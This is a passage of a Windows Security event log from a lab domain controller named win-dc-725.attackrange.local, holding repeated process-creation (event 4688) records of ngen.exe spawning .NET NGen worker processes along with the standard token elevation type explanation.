	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 6d0 -Pipe 6c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254501
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x678
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c4 -InterruptEvent 0 -NGENProcess 67c -Pipe 678 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254500
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 6c4 -Pipe 580 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254499
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 678 -Pipe 6c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254498
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 580 -Pipe 6cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254508
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 6ec -Pipe 594 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254507
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 71c -InterruptEvent 0 -NGENProcess 6d8 -Pipe 708 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254506
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6f0 -InterruptEvent 0 -NGENProcess 6ec -Pipe 710 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254505
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 708 -InterruptEvent 0 -NGENProcess 71c -Pipe 70c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254504
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 6ec -Pipe 6b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254503
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 6f0 -Pipe 6f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254514
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 6bc -Pipe 6f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254513
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 750 -Pipe 75c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254512
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6ec -InterruptEvent 0 -NGENProcess 6bc -Pipe 74c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254511
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1394
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 750 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 6d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254510
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 718 -InterruptEvent 0 -NGENProcess 6ec -Pipe 71c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254509
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 6d8 -Pipe 738 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254520
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 72c -Pipe 5c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254519
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
